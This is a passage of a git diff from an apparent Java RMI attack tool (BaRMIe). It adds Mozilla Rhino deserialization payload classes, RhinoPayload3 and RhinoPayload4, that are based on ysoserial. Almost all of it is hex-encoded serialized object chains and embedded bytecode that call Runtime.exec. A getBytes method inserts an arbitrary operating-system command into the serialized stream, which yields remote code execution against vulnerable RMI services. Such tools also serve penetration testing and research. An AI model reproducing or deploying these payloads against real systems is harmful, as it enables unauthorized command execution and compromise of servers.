07E002C000000127071007E001A7077040000002F7371007E00290002C4FE4C2D74000C66726F6D43686172436F64657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFFF0071007E00E7737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665537472696E670CC57334977D230F0200014C0006737472696E6771007E0005707871007E0012000000007071007E001A71007E0021770400000000787704000000247871007E003C71007E00E47371007E00290002AED71E297400066368617241747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFFB0071007E00EC71007E00EA71007E00E47371007E0029000217AC15F674000A63686172436F646541747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFFA0071007E00EF71007E00EA71007E00E47371007E0029000273D4464971007E00CF7371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF90071007E00CF71007E00EA71007E00E47371007E00290002E42256D371007E00D27371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF80071007E00D271007E00EA71007E00E47371007E0029000206891B1A74000573706C69747371007E002C000000007071007E001A707704000000007877040000000078000000047000000003FFFFFFF70071007E00F671007E00EA71007E00E47371007E002900021F9F6E51740009737562737472696E677371007E002C000000007071007E001A707704000000007877040000000078000000047000000003FFFFFFF60071007E00F971007E00EA71007E00E47371007E00290002BC31DD9674000B746F4C6F776572436173657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFF50071007E00FC71007E00EA71007E00E47371007E00290002E82F52B774000B746F5570706572436173657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFF40071007E00FF71007E00EA71007E00E47371007E00290002CADC57F17400067375627374727371007E002C000000007071007E001A707704000000007877040000000078000000047000000003FFFFFFF30071007E010271007E00EA71007E00E47371007E00290002AF3F771471007E00C97371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF20071007E00C971007E00EA71007E00E47371007E0029000206873D9271007E00CC7371007E002C000000007071007E001A707704000000007877040000000078000000047000000003FFFFFFF10071007E00CC71007E00EA71007E00E47371007E002900020F5DAD41740010657175616C7349676E6F7265436173657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFE20071007E010971007E00EA71007E00E47371007E00290002062DD9C57400056D617463687371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFE10071007E010C71007E00EA71007E00E47371007E00290002C9FA65A87400067365617263687371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFE00071007E010F71007E00EA71007E00E47371007E00290002413CB2B47400077265706C6163657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFDF0071007E011271007E00EA71007E00E47371007E002900023E27CD2B74000D6C6F63616C65436F6D706172657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFDE0071007E011571007E00EA71007E00E47371007E00290002A8AECC9C740011746F4C6F63616C654C6F776572436173657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFDD0071007E011871007E00EA71007E00E478770400000000780000000771007E00EA00000001000000010171007E00E471007E00EA71007E00E47371007E0029000267140408740007426F6F6C65616E7371007E002C000000007071007E001A70770400000000787704000000007800000007737200246F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665426F6F6C65616ECC6A9303539DE71B0200015A000C626F6F6C65616E56616C7565707871007E0012000000007071007E001A71007E002177040000000078770400000004780000000001000000010171007E011B71007E011E71007E011B7371007E002900028BBDC7697400064E756D6265727371007E002C000000057071007E001A7077040000000B7371007E00290007000130DB71007E006F71007E00717371007E00290007EB1E29AE740011504F5349544956455F494E46494E4954597371007E00707FF00000000000007371007E0029000734E07AF27400114E454741544956455F494E46494E4954597371007E0070FFF00000000000007371007E00290007CEDD22967400094D41585F56414C55457371007E00707FEFFFFFFFFFFFFF7371007E00290007FCE839047400094D494E5F56414C55457371007E00700000000000000001787704000000007800000007737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654E756D62657230A28B6F31D79DA502000144000B646F75626C6556616C7565707871007E0012000000007071007E001A71007E00217704000000007877040000000878000000000000000000000001000000010171007E012071007E013071007E01207371007E00290002002063CE740004446174657371007E002C000000037071007E001A707704000000057371007E002900020001AAD67400036E6F777371007E002C000000007071007E001A707704000000007877040000000078000000047000000000FFFFFFFD0071007E0135737200216F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665446174658CB60C521ACEF48A02000144000464617465707871007E0012000000007071007E001A71007E00217704000000007877040000002D787FF800000000000071007E01327371007E0029000206581AB374000570617273657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFFE0071007E013A71007E013871007E01327371007E00290002000149847400035554437371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFFF0071007E013D71007E013871007E013278770400000000780000000771007E013800000001000000010171007E013271007E013871007E01327371007E0029000200247B287400044D617468737200216F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654D61746885561B50925CC9CF020000707871007E0012000000007071007E001A71007E00217704000000007877040000001B787371007E00290002002924E6740004576974687371007E002C000000007071007E001A70770400000000787704000000007800000007737200216F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976655769746800000000000000010200024C0006706172656E7471007E00154C000970726F746F7479706571007E001570787071007E001A71007E002100000000000000010171007E014471007E014771007E01447371007E00290002001FEE7E74000443616C6C7371007E002C000000007071007E001A70770400000000787704000000007800000007737200216F72672E6D6F7A696C6C612E6A6176617363726970742E4E617469766543616C6C98500D2B813FD2CA0200024C000866756E6374696F6E71007E00275B000C6F726967696E616C4172677371007E00AD707871007E0012000000007071007E001A71007E00217704000000007877040000000178707000000001000000010171007E014971007E014C71007E01497371007E00290002934ABCEB7400065363726970747371007E002C000000007071007E001A737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665536372697074A1B2F37EC354AD9C0200014C000673637269707474001F4C6F72672F6D6F7A696C6C612F6A6176617363726970742F5363726970743B707871007E002E000000007071007E001A71007E0021770400000000787704000000047800000004707077040000000078770400000000780000000771007E015200000001000000010171007E014E71007E015271007E014E7371007E002900024A566C8E71007E001E7371007E002C000000007071007E001A70770400000000787704000000007800000007737200256F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654974657261746F72C6968956626DC69F0200014C000E6F626A6563744974657261746F7271007E0001707871007E0012000000007071007E001A71007E002177040000000078770400000003787000000002000000010171007E001E71007E015671007E001E7371007E0029000240BC18DB74000D53746F70497465726174696F6E71007E0020737200326F72672E6D6F7A696C6C612E6A6176617363726970742E53637269707461626C654F626A65637424476574746572536C6F74BBFDA92373201D6C0200024C000667657474657271007E00014C000673657474657271007E0001707871007E0029000291AC8D09740006526567457870737200276F72672E6D6F7A696C6C612E6A6176617363726970742E4C617A696C794C6F6164656443746F7200000000000000010200065A00067365616C656449000573746174654C0009636C6173734E616D6571007E00054C0010696E697469616C697A656456616C756571007E00014C000C70726F70657274794E616D6571007E00054C000573636F70657400294C6F72672F6D6F7A696C6C612F6A6176617363726970742F53637269707461626C654F626A6563743B707870000000000074002A6F72672E6D6F7A696C6C612E6A6176617363726970742E7265676578702E4E61746976655265674578707071007E015B71007E001A70707371007E01590002309BB90D7400085061636B616765737371007E015C000000000074002B6F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654A617661546F705061636B6167657071007E016171007E001A70707371007E015900020031AA227400046A6176617371007E015C000000000071007E01637071007E016571007E001A70707371007E0159000206039A967400056A617661787371007E015C000000000071007E01637071007E016871007E001A70707371007E015900020001AEE47400036F72677371007E015C000000000071007E01637071007E016B71007E001A70707371007E0159000200018181740003636F6D7371007E015C000000000071007E01637071007E016E71007E001A70707371007E01590002000187B67400036564757371007E015C000000000071007E01637071007E017171007E001A70707371007E015900020001A99D7400036E65747371007E015C000000000071007E01637071007E017471007E001A70707371007E0159000274434FC2740008676574436C6173737371007E015C000000000071007E01637071007E017771007E001A70707371007E015900026C71EEAD74000B4A617661416461707465727371007E015C00000000007400226F72672E6D6F7A696C6C612E6A6176617363726970742E4A617661416461707465727071007E017A71007E001A70707371007E0159000256774B7474000C4A617661496D706F727465727371007E015C00000000007400276F72672E6D6F7A696C6C612E6A6176617363726970742E496D706F72746572546F704C6576656C7071007E017E71007E001A70707371007E01590002DCB5CA5774000C436F6E74696E756174696F6E7371007E015C00000000007400296F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665436F6E74696E756174696F6E7071007E018271007E001A70707371007E01590002000153F7740003584D4C7371007E015C00000000007400296F72672E6D6F7A696C6C612E6A6176617363726970742E786D6C696D706C2E584D4C4C6962496D706C7071007E018671007E001A70707371007E01590002B6DCA535740007584D4C4C6973747371007E015C000000000071007E01887071007E018A71007E001A70707371007E01590002C215753B7400094E616D6573706163657371007E015C000000000071007E01887071007E018D71007E001A70707371007E01590002049A5E7C740005514E616D657371007E015C000000000071007E01887071007E019071007E001A70707877040000000078707701007372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00054C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B70787000000000FFFFFFFF757200035B5B424BFD19156767DB3702000070787000000002757200025B42ACF317F8060854E0020000707870"; + private final String _mid_chunk = "cafebabe0000003100380a00030022070036070025070026010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010005284c3b29560100014101000141010001410100014101000141070027010006284c413b29560100014101000141010001410100014101000141010001410c000a000b07002801000141010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c6501000141010001410100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01"; + private final String _footer_chunk = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b00340100014101000141002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002e000e0000000c000100000005000f003700000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000033000e00000020000300000001000f0037000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000037000e0000002a000400000001000f003700000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c0000001b000300020000000fa70003014cb8002f1231b6003557b1000000000002002000000002002100110000000a000100020023001000097571007e019900000113cafebabe00000031001b0a00030015070017070018070019010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010001410c000a000b07001a01000241410100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501000141002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003b000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000141707701007874000f6a6176612e6c616e672e436c617373787704000000017371007e0159000000337a8b71007e003971007e0078737200206f72672e6d6f7a696c6c612e6a6176617363726970742e4d656d626572426f78583e1be606e304b503000070787077020101740005656e7465727672001e6f72672e6d6f7a696c6c612e6a6176617363726970742e436f6e7465787400000000000000000000007078707702000078707371007e0159000038eb000771007e003b71007e0078737200276f72672e6d6f7a696c6c612e6a6176617363726970742e4e61746976654a6176614d6574686f64d0414efe72fe69000200024c000c66756e6374696f6e4e616d6571007e00055b00076d6574686f64737400235b4c6f72672f6d6f7a696c6c612f6a6176617363726970742f4d656d626572426f783b707871007e002e000000007070707704000000007877040000000078000000047071007e003b757200235b4c6f72672e6d6f7a696c6c612e6a6176617363726970742e4d656d626572426f783b3226214ee6215239020000707870000000017371007e019f7702010174000e6e65775472616e73666f726d65727671007e01927702000078707877040000000078"; + + /******************* + * Set payload properties + ******************/ + public RhinoPayload3() { + super(); + this.setName("Rhino3"); + this.setDescription("Mozilla Rhino 1.7r3"); + this.setRemediationAdvice("[Mozilla Rhino] " + this.REMEDIATION_NO_FIX); + this.setAffectedJars(new String[] { + "js.jar" + }); + } + + /******************* + * Generate payload bytes for the given OS command, correcting references + * by the given amount. + * + * @param cmd The operating system command to execute. + * @param refCorrection The amount to correct TC_REFERENCE handles by (see note above). + * @return An array of bytes making up the deserialization payload. + ******************/ + public byte[] getBytes(String cmd, int refCorrection) throws BaRMIeException { + ByteArrayOutputStream out; + + //Generate the payload bytes + try { + //Fix references in the header bytes and add them to the output + out = new ByteArrayOutputStream(); + out.write(this.fixReferences(this.hexStrToByteArray(this._header_chunk), refCorrection)); + + //Add the middle chunk + out.write(this.intToByteArray(765 + cmd.length())); + out.write(this.hexStrToByteArray(this._mid_chunk)); + + //Add the command string to the output + out.write(this.stringToUtf8ByteArray(cmd)); + + //Fix references in the footer bytes and add them to the output + out.write(this.fixReferences(this.hexStrToByteArray(this._footer_chunk), refCorrection)); + } catch(IOException ioe) { + throw new BaRMIeDeserPayloadGenerationException("Failed to build Commons Collections 1 deserialization payload.", ioe); + } + + //Return the payload bytes + return out.toByteArray(); + } +} + diff --git a/src/nb/barmie/modes/attack/deser/payloads/RhinoPayload4.java b/src/nb/barmie/modes/attack/deser/payloads/RhinoPayload4.java new file mode 100644 index 0000000..cf11a33 --- /dev/null +++ b/src/nb/barmie/modes/attack/deser/payloads/RhinoPayload4.java @@ -0,0 +1,75 @@ +package nb.barmie.modes.attack.deser.payloads; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import nb.barmie.exceptions.BaRMIeDeserPayloadGenerationException; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.modes.attack.DeserPayload; + +/*********************************************************** + * Deserialization payload for Mozilla Rhino 1.7r3 for Java + * 1.4. + * + * Based on the ysoserial and the excellent work of Chris + * Frohoff, Matthias Kaiser et al + * (https://github.com/frohoff/ysoserial). + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class RhinoPayload4 extends DeserPayload { + /******************* + * Properties + ******************/ + //Payload data chunks + private final String _header_chunk = "7372002E6A617661782E6D616E6167656D656E742E42616441747472696275746556616C7565457870457863657074696F6ED4E7DAAB632D46400200014C000376616C7400124C6A6176612F6C616E672F4F626A6563743B70787200136A6176612E6C616E672E457863657074696F6ED0FD1F3E1A3B1CC402000070787200136A6176612E6C616E672E5468726F7761626C65D5C635273977B8CB0300044C000563617573657400154C6A6176612F6C616E672F5468726F7761626C653B4C000D64657461696C4D6573736167657400124C6A6176612F6C616E672F537472696E673B5B000A737461636B547261636574001E5B4C6A6176612F6C616E672F537461636B5472616365456C656D656E743B4C001473757070726573736564457863657074696F6E737400104C6A6176612F7574696C2F4C6973743B70787071007E0008707572001E5B4C6A6176612E6C616E672E537461636B5472616365456C656D656E743B02462A3C3CFD223902000070787000000000737200266A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C654C697374FC0F2531B5EC8E100200014C00046C69737471007E0007707872002C6A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C65436F6C6C656374696F6E19420080CB5EF71E0200014C0001637400164C6A6176612F7574696C2F436F6C6C656374696F6E3B707870737200136A6176612E7574696C2E41727261794C6973747881D21D99C7619D03000149000473697A65707870000000007704000000007871007E001078737200226F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654572726F72B5EA2521BE49CE7D02000070787200296F72672E6D6F7A696C6C612E6A6176617363726970742E496453637269707461626C654F626A6563748cbd7cf4d8a944a103000070787200276F72672E6D6F7A696C6C612E6A6176617363726970742E53637269707461626C654F626A6563748e4c06cb102f54bd030004490005636F756E744C00106173736F63696174656456616C75657374000F4C6A6176612F7574696C2F4D61703B4C0011706172656E7453636F70654F626A6563747400234C6F72672F6D6F7A696C6C612F6A6176617363726970742F53637269707461626C653B4C000F70726F746F747970654F626A65637471007E0015707870000000027070737200276F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654A6176614F626A6563749F91A59E35C431E10300024C0006706172656E7471007E00154C000970726F746F7479706571007E0015707870737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654F626A656374A7F0F22AFF97BA0C020000707871007E001200000037737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C647078703F4000000000000C7708000000100000000474000D4C4942524152595F53434F504571007E001A7400084974657261746F72737200336F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654974657261746F722453746F70497465726174696F6E227D07BEDDA89DBF020000707871007E0019000000007071007E001A7371007E0019000000007071007E001A707704000000007877040000000C78770400000000787704000000007874000A436C6173734361636865737200216F72672E6D6F7A696C6C612E6A6176617363726970742E436C617373436163686584F4C43496DC1F290200025A001063616368696E674973456E61626C656449001467656E657261746564436C61737353657269616C7078700000000000740000737200266F72672E6D6F7A696C6C612E6A6176617363726970742E4E617469766547656E657261746F7216D762746EC522C90200065A0009666972737454696D6549000A6C696E654E756D6265725A00066C6F636B65644C000866756E6374696F6E7400274C6F72672F6D6F7A696C6C612F6A6176617363726970742F4E617469766546756E6374696F6E3B4C000A6C696E65536F7572636571007E00054C000A7361766564537461746571007E0001707871007E001200000000707070770400000000787704000000057800000000000070707078707077040000005F7372002C6F72672E6D6F7A696C6C612E6A6176617363726970742E53637269707461626C654F626A65637424536C6F74AB79E83BE385789D02000453000A6174747269627574657349000B696E6465784F72486173684C00046E616D6571007E00054C000576616C756571007E0001707870000000000000740000737200276F72672E6D6F7A696C6C612E6A6176617363726970742E496446756E6374696F6E4F626A656374B5FFD1C66BA0FED502000649000561726974794900086D6574686F6449645A001475736543616C6C4173436F6E7374727563746F724C000C66756E6374696F6E4E616D6571007E00054C0006696463616C6C7400274C6F72672F6D6F7A696C6C612F6A6176617363726970742F496446756E6374696F6E43616C6C3B4C000374616771007E000170787200236F72672E6D6F7A696C6C612E6A6176617363726970742E4261736546756E6374696F6E49B5DD1BB05C2AE302000249001B70726F746F7479706550726F7065727479417474726962757465734C001170726F746F7479706550726F706572747971007E0001707871007E00120000000070707371007E002E0000000070707077040000000078770400000000780000000070770400000000787704000000007800000000700000000000000000007070707371007E00290000000000007400007371007E002C00000000707070770400000000787704000000007800000000700000000000000000007070707371007E00290000000000007400007371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000047071007E001A71007E002177040000000B7371007E0029000000337A8B7400046E616D6571007E00357371007E0029000038EB00077400076D6573736167657400007371007E00290000D425C62774000866696C654E616D6571007E003C7371007E00290000EC61B05D74000A6C696E654E756D626572737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C756570787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000070787000000000787704000000037800000001000000010171007E003571007E003771007E00357371007E002900021EB5489E7400096465636F64655552497371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000010071007E0045737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665476C6F62616C546211EF26C230CA020000707870740006476C6F62616C7371007E002900022E10C5FF7400126465636F6465555249436F6D706F6E656E747371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000020071007E004B71007E004871007E00497371007E0029000259E44B76740009656E636F64655552497371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000030071007E004E71007E004871007E00497371007E00290002C89B7627740012656E636F6465555249436F6D706F6E656E747371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000040071007E005171007E004871007E00497371007E00290002B2DC80817400066573636170657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000050071007E005471007E004871007E00497371007E00290002002FB09C7400046576616C7371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000060071007E005771007E004871007E00497371007E00290002DC367E79740008697346696E6974657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000070071007E005A71007E004871007E00497371007E0029000205FD1B7174000569734E614E7371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000080071007E005D71007E004871007E00497371007E0029000231161EB87400096973584D4C4E616D657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000090071007E006071007E004871007E00497371007E00290002C428CF6974000A7061727365466C6F61747371007E002C000000007071007E001A7077040000000078770400000000780000000470000000010000000A0071007E006371007E004871007E00497371007E0029000246CC243C7400087061727365496E747371007E002C000000007071007E001A7077040000000078770400000000780000000470000000020000000B0071007E006671007E004871007E00497371007E00290002E7B3785A740008756E6573636170657371007E002C000000007071007E001A7077040000000078770400000000780000000470000000010000000C0071007E006971007E004871007E00497371007E00290002CDE4CAB5740006756E6576616C7371007E002C000000007071007E001A7077040000000078770400000000780000000470000000010000000D0071007E006C71007E004871007E00497371007E00290002000130DB7400034E614E737200106A6176612E6C616E672E446F75626C6580B3C24A296BFB0402000144000576616C7565707871007E00427FF80000000000007371007E002900020E2CCE48740008496E66696E6974797371007E00707FF00000000000007371007E00290002C21F6150740009756E646566696E6564737200206F72672E6D6F7A696C6C612E6A6176617363726970742E556E646566696E65647F9D9ECFF72ACBBF0200007078707371007E00290002E859127274000F436F6E76657273696F6E4572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E007A7877040000000078000000010000000E0171007E007A71007E004871007E00497371007E002900029FC652AC7400094576616C4572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E007F7877040000000078000000010000000E0171007E007F71007E004871007E00497371007E002900020932C2EB74000A52616E67654572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00847877040000000078000000010000000E0171007E008471007E004871007E00497371007E002900025198459D74000E5265666572656E63654572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00897877040000000078000000010000000E0171007E008971007E004871007E00497371007E00290002605053C574000B53796E7461784572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E008E7877040000000078000000010000000E0171007E008E71007E004871007E00497371007E0029000294F7E6CE740009547970654572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00937877040000000078000000010000000E0171007E009371007E004871007E00497371007E00290002F016881C7400085552494572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00987877040000000078000000010000000E0171007E009871007E004871007E00497371007E002900029B10F92B74000D496E7465726E616C4572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E009D7877040000000078000000010000000E0171007E009D71007E004871007E00497371007E00290002DD2FBC2D74000D4A617661457863657074696F6E7371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00A27877040000000078000000010000000E0171007E00A271007E004871007E00497371007E0029000203C9823974000541727261797371007E002C000000117071007E001A707704000000177371007E002900020031DD2A7400046A6F696E7371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFFB0071007E00AA737200226F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665417272617965BE3F5055DB7C6A0200035A000964656E73654F6E6C794A00066C656E6774685B000564656E73657400135B4C6A6176612F6C616E672F4F626A6563743B707871007E0012000000007071007E001A71007E00217704000000007877040000001578010000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C0200007078700000000A737200206F72672E6D6F7A696C6C612E6A6176617363726970742E556E69717565546167C40A4C7517C9E69502000149000574616749647078700000000171007E00B271007E00B271007E00B271007E00B271007E00B271007E00B271007E00B271007E00B271007E00B271007E00A77371007E00290002418E52E2740007726576657273657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFFA0071007E00B471007E00AE71007E00A77371007E002900020035F59E740004736F72747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF90071007E00B771007E00AE71007E00A77371007E002900020034AF1A740004707573687371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF80071007E00BA71007E00AE71007E00A77371007E002900020001B251740003706F707371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF70071007E00BD71007E00AE71007E00A77371007E0029000206856C8274000573686966747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF60071007E00C071007E00AE71007E00A77371007E00290002EF739589740007756E73686966747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF50071007E00C371007E00AE71007E00A77371007E00290002CA9A467C74000673706C6963657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF40071007E00C671007E00AE71007E00A77371007E00290002AF3F7714740006636F6E6361747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF30071007E00C971007E00AE71007E00A77371007E0029000206873D92740005736C6963657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF20071007E00CC71007E00AE71007E00A77371007E0029000273D44649740007696E6465784F667371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF10071007E00CF71007E00AE71007E00A77371007E00290002E42256D374000B6C617374496E6465784F667371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF00071007E00D271007E00AE71007E00A77371007E0029000205C6731B74000565766572797371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFEF0071007E00D571007E00AE71007E00A77371007E00290002B408CB7874000666696C7465727371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFEE0071007E00D871007E00AE71007E00A77371007E00290002D78CD66A740007666F72456163687371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFED0071007E00DB71007E00AE71007E00A77371007E002900020001A55C7400036D61707371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFEC0071007E00DE71007E00AE71007E00A77371007E002900020035F4F4740004736F6D657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFEB0071007E00E171007E00AE71007E00A778770400000000780000000771007E00AE00000001000000010171007E00A771007E00AE71007E00A77371007E00290002943A4C31740006537472696E677371007E002C000000127071007E001A7077040000002F7371007E00290002C4FE4C2D74000C66726F6D43686172436F64657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFFF0071007E00E7737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665537472696E670CC57334977D230F0200014C0006737472696E6771007E0005707871007E0012000000007071007E001A71007E0021770400000000787704000000247871007E003C71007E00E47371007E00290002AED71E297400066368617241747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFFB0071007E00EC71007E00EA71007E00E47371007E0029000217AC15F674000A63686172436F646541747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFFA0071007E00EF71007E00EA71007E00E47371007E0029000273D4464971007E00CF7371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF90071007E00CF71007E00EA71007E00E47371007E00290002E42256D371007E00D27371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF80071007E00D271007E00EA71007E00E47371007E0029000206891B1A74000573706C69747371007E002C000000007071007E001A707704000000007877040000000078000000047000000003FFFFFFF70071007E00F671007E00EA71007E00E47371007E002900021F9F6E51740009737562737472696E677371007E002C000000007071007E001A707704000000007877040000000078000000047000000003FFFFFFF60071007E00F971007E00EA71007E00E47371007E00290002BC31DD9674000B746F4C6F776572436173657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFF50071007E00FC71007E00EA71007E00E47371007E00290002E82F52B774000B746F5570706572436173657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFF40071007E00FF71007E00EA71007E00E47371007E00290002CADC57F17400067375627374727371007E002C000000007071007E001A707704000000007877040000000078000000047000000003FFFFFFF30071007E010271007E00EA71007E00E47371007E00290002AF3F771471007E00C97371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF20071007E00C971007E00EA71007E00E47371007E0029000206873D9271007E00CC7371007E002C000000007071007E001A707704000000007877040000000078000000047000000003FFFFFFF10071007E00CC71007E00EA71007E00E47371007E002900020F5DAD41740010657175616C7349676E6F7265436173657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFE20071007E010971007E00EA71007E00E47371007E00290002062DD9C57400056D617463687371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFE10071007E010C71007E00EA71007E00E47371007E00290002C9FA65A87400067365617263687371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFE00071007E010F71007E00EA71007E00E47371007E00290002413CB2B47400077265706C6163657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFDF0071007E011271007E00EA71007E00E47371007E002900023E27CD2B74000D6C6F63616C65436F6D706172657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFDE0071007E011571007E00EA71007E00E47371007E00290002A8AECC9C740011746F4C6F63616C654C6F776572436173657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFDD0071007E011871007E00EA71007E00E478770400000000780000000771007E00EA00000001000000010171007E00E471007E00EA71007E00E47371007E0029000267140408740007426F6F6C65616E7371007E002C000000007071007E001A70770400000000787704000000007800000007737200246F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665426F6F6C65616ECC6A9303539DE71B0200015A000C626F6F6C65616E56616C7565707871007E0012000000007071007E001A71007E002177040000000078770400000004780000000001000000010171007E011B71007E011E71007E011B7371007E00